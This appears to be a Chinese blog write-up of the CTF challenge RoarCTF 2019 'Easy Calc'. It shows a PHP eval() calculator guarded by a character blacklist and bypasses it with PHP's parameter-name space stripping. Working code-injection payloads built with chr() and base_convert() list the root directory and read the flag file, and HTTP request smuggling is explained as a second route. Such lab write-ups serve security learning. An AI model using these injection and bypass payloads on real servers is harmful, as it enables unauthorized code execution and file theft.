buuctf [RoarCTF 2019]Easy Calc

打开题目是一个计算器
在这里插入图片描述
查看源码有一个 calc.php
在这里插入图片描述
在这里插入图片描述
看看题目内容,一个计算器,并且过滤了非数字的值,查看源码,上了waf,并且在calc.php显示waf的规则

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

进行绕waf,首先了解一下php的解析规则,当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析,那么我们就可以利用这个特点绕过waf。
num被限制了,那么’ num’呢,在num前面加了空格。waf就管不着了,因为waf只是限制了num,waf并没有限制’ num’,当php解析的时候,又会把’ num’前面的空格去掉在解析,利用这点来上传非法字符

构造payload来查看目录,用chr转化成ascll码进行绕过

? num=1;var_dump(scandir(chr(47)))

查看flag

? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

假如waf不允许num变量传递字母:
在这里插入图片描述
可以在num前加个空格:
在这里插入图片描述
这样waf就找不到num这个变量了,php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

scandir()

列出参数目录中的文件和目录,才能找到flag。

存在高危漏洞,很明显传递函数,拿flag。
首先我们要先扫根目录下的所有文件,也就是是scandir("/"),但是“/”被过滤了,所以我们用chr(“47”)绕过,发现flagg文件
在这里插入图片描述
页面源码也给了提示
calc.php?num=encodeURIComponent($("#content").val())

$("#content").val() 是什么意思:
获取id为content的HTML标签元素的值,是JQuery,
$("#content")相当于document.getElementById(“content”);
$("#content").val()相当于 document.getElementById(“content”).value;
但是无论怎么注入都是400,403和500,这里用的是一个新的点:PHP的字符串解析特性

扫一下根目录,发现flagg文件:

payload
? num=1;var_dump(scandir(chr(47)))

在这里插入图片描述
列出f1agg:

payload
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

在这里插入图片描述
总结:php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。遇到过滤用char()转ascii再进行拼接,PHP的字符串解析特性, PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,php却可以让你过】

解法二:Http走私

什么是HTTP请求走私
HTTP请求走私属于协议层攻击,是服务器漏洞的一种。

HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术。使攻击者可以绕过安全控制,未经授权访问敏感数据并直接危害其他应用程序用户。

一般来说,反向代理服务器与后端的源站服务器之间,会重用TCP链接。这也很容易理解,用户的分布范围是十分广泛,建立连接的时间也是不确定的,这样TCP链接就很难重用,而代理服务器与后端的源站服务器的IP地址是相对固定,不同用户的请求通过代理服务器与源站服务器建立链接,这两者之间的TCP链接进行重用,也就顺理成章了。当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。

漏洞产生原因

HTTP请求走私这一攻击方式很特殊,它不像其他的Web攻击方式那样比较直观,它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。这样一来,对同一个HTTP请求,不同的服务器可能会产生不同的处理结果,这样就产生了了安全风险.
继续了解HTTP走私,就要开始研究HTTP1.1协议:

如今使用最为广泛的HTTP 1.1的协议特性——Keep-Alive&Pipeline。

Keep-Alive:
在HTTP请求中增加一个特殊的请求头Connection: Keep-Alive,告诉服务器,接收完这次HTTP请求后,不要关闭TCP链接,后面对相同目标服务器的HTTP请求,重用这一个TCP链接。这样只需要进行一次TCP握手的过程,可以减少服务器的开销,节约资源,还能加快访问速度。这个特性在HTTP1.1中默认开启的。
Pipeline(http管线化):
http管线化是一项实现了多个http请求但不需要等待响应就能够写进同一个socket的技术,仅有http1.1规范支持http管线化。在这里,客户端可以像流水线一样发送自己的HTTP请求,而不需要等待服务器的响应,服务器那边接收到请求后,需要遵循先入先出机制,将请求和响应严格对应起来,再将响应发送给客户端。

现如今,浏览器默认是不启用Pipeline的,但是一般的服务器都提供了对Pipleline的支持。

参考文章:
http请求走私(HTTP Request Smuggling)
Easy Calc(http走私 && 利用PHP的字符串解析特性Bypass)
https://www.cnblogs.com/wangtanzhi/p/11884607.html

在这里插入图片描述
发现phpinfo()解析成功
接下来想办法绕过过滤拼接字符串查看目录

使用scandir()函数、readfile()函数、base_convert()函数、dechex() 函数、hex2bin() 函数(chr()函数)
36进制scandir->10进制61693386291
36进制readfile->10进制2146934604002
ascii码/->16进制2f->10进制47
36进制f1agg->10进制25254448(读取根目录得到的)
1、列目录
首先要使用scandir()函数,尝试构造payload列举根目录下的文件。scandir()可以用base_convert()函数构造,但是利用base_convert()只能解决a~z的利用。
因为根目录需要/符号,且不在a~z,所以需要hex2bin(dechex(47))这种构造方式,dechex() 函数把十进制数转换为十六进制数。hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。当然,也可以直接用chr()函数
payload
var_dump(base_convert(61693386291,10,36)(chr(47)))

看到目录中有flagg

payload
var_dump(base_convert(61693386291,10,36)(chr(47)))

也可以这样

payload
var_dump(scandir(chr(47)))

在这里插入图片描述
在这里插入图片描述

?num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

在这里插入图片描述
拿到flag!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值